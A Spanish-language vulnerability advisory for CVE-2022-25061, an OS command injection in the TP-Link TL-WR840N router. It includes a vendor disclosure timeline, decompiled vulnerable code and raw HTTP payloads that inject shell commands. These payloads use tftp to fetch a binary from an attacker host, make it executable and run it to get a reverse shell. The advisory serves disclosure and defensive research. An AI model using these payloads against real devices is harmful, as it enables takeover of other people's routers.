OS Command Injection in TPLINK TL-WR840N
Version TL-WR840N(ES)_V6.20_180709
CVE-2022-25061
Samir Sánchez Garnica
Aviso de Seguridad 002
Luis Eduardo Jácome Valencia
Descripción de la vulnerabilidad
TL-WR840N
Router TPLINK Tl-WR840N Inalámbrico es un dispositivo con velocidad de transmisión de 300 Megabit por segundo (Mbps). Es el dispositivo de red justo para tareas cotidianas que requieren banda ancha y trabajos del día a día.
EL PROBLEMA
Esta versión es afectada por la ejecución de código remoto bajo el objeto oal_setIp6DefaultRoute.
VERSIONES AFECTADAS
Se estima que las versiones afectadas sean <= TL-WR840N(ES)_V6.20_180709
Línea de tiempo
| Fecha | Acción |
| 10/12/2021 | Aviso enviado a la respuesta a incidentes de seguridad de productos TPLINK |
| 13/12/2021 | Se recibe una respuesta con el equipo de seguridad de TPLINK |
| 02/02/2022 | Se recibe una version beta y se verifica la mitigacion de la vulnerabilidad |
| 09/02/2022 | Se cierra el caso con el hallazgo identificado |
Descripción técnica y prueba de concepto (PoC)
Identificación de vulnerabilidad a traves de la ingenieria inversa
Esta vulnerabilidad es descubierta bajo el modulo de libreria denominado libcmm.so , la cual procesa parametros que son enviados desde el servidor web. estos parametros aunque son validados solamenta bajo un size de peticion de tamaño 16 para el caso del argumento __ifName , a nivel de caracteres no existe un filtro de validación de caracteres escapables.
a continuacion puede identificar el segmento de codigo vulnerable, el cual recibe los parametros directamente sin ser sanitizados.
undefined4 oal_setIp6DefaultRoute(char *param_1,char *param_2)
{
int iVar1;
util_execSystem("oal_setIp6DefaultRoute","route -A inet6 del default");
if (((*param_1 != '\0') && (*param_2 != '\0')) &&
(iVar1 = strcmp(param_2,(char *)&DAT_000c0114), iVar1 != 0)) {
util_execSystem("oal_setIp6DefaultRoute","route -A inet6 add default gw %s dev %s",param_2,
param_1);
return 0;
}
util_execSystem("oal_setIp6DefaultRoute","echo 1 > /proc/sys/net/ipv6/conf/%s/sendrs ",param_1);
sleep(1);
return 0;
}
La funcion vulnerable es llamada desde el objeto rsl_setL3Ip6ForwardingObj
undefined4 rsl_setL3Ip6ForwardingObj(undefined4 param_1,int param_2,int param_3)
{
int iVar1;
char *pcVar2;
undefined4 uVar3;
int iVar4;
int iVar5;
undefined auStack104 [32];
undefined auStack72 [16];
undefined2 local_38;
undefined local_36;
undefined auStack53 [37];
........
LAB_00064714:
oal_setIp6DefaultRoute(param_2 + 0x2a,param_2 + 2);
return 0;
}
Podemos comprobar la inyeccion de comandos enviando el siguiente payload.
POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 119
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
[L3_IP6_FORWARDING#0,0,0,0,0,0#0,0,0,0,0,0]0,3
__ifAliasName=ewan_ipoev6_d
__ifName=;ls;
defaultConnectionService=

La explotación
Los pasos para la ejecución de codigo remoto deben ser los siguientes:
- el payload no debe superar un tamaño de 16 bytes, lo cual obliga a enviar dos peticiones como minimo para la ejecución de codigo en este caso.
- el router solo cuenta con el binario tftp para descargar archivos asi que al no haber una explotacion de corrupcion de memoria si no de inyección de comandos debe hacer uso de los binarios ofrecidos por el router
- debe compilar una shellcode en c, haciendo uso de la arquitectura MIPSLE
- finalmente invoque la cadena de comandos para la ejecución de código remoto de la siguiente manera.
- debe alojar los comandos a ejecutar en alguna funcionalidad del router, para nuestra suerte tenemos la funcionalidad de configurar DNS de NOIP.
Finalmente el atacante puede obtener una shell reversa con la investigación anterior y tomar control del producto.
Compruebe que los comandos quedan debidamente inyectados dentro del archivo de configuración con el siguiente payload.
POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 186
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5
enable=1
userName=;tftp -g -r s -l /var/tmp/dconf/s 192.168.0.3
password=;chmod +x /var/tmp/dconf/s
userDomain=;./var/tmp/dconf/s
login=1
Puede comprobar que los comandos han sido debidamente guardados a voluntad.
/var/tmp/dconf # cat noipdns.conf
enable 1
username ;tftp -g -r s -l /var/tmp/dconf/s 192.168.0.3
password ;chmod +x /var/tmp/dconf/s
domain ;./var/tmp/dconf/s
server dynupdate.no-ip.com
Podemos acceder a la ruta especificada en nuestra configuración con una cadena super pequeña, entonces al desencadenar nuestro exploit podemos usar la siguiente carga util.
POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 130
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
[L3_IP6_FORWARDING#0,0,0,0,0,0#0,0,0,0,0,0]0,3
__ifAliasName=ewan_ipoev6_d
__ifName=;sh */t*/d*/n*;
defaultConnectionService=
Finalmente obtenga la reverse shell y tome control del producto.

Video Prueba de concepto
URL mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25061
URL código de explotación: https://github.com/exploitwritter/CVE-2022-25061

Deja un comentario